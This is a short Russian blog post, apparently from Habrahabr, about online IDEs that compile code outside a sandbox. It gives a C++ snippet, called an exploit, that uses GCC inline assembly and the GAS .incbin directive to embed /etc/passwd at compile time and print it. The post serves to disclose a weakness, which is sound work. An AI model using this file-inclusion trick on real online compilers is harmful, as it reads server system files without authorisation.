Online IDE и Local File Inclusion

В последнее время появилось множество online IDE с возможностью компиляции и запуска в том числе и native-приложений. Естественно, возникает вопрос о безопасности таких сервисов. Скомпилированные программы запускаются в песочнице, а вот сама компиляция зачастую происходит в незащищенной среде.GCC + GAS GCC позволяет с помощью директивы asm вызывать GAS, у которого есть замечательная инструкция incbin. С ее помощью на этапе компиляции можно включить файл в качестве данных. Тогда exploit для С++ выглядит следующим образом:#include

extern «C»

asm ( ».global _data\n» ».data\n» »_data:\n» ».incbin \»/etc/passwd\»\n» ».byte 0» );

extern const char _data; const char* data = &_data;

int main () { printf (»%s», data); }

© Habrahabr.ru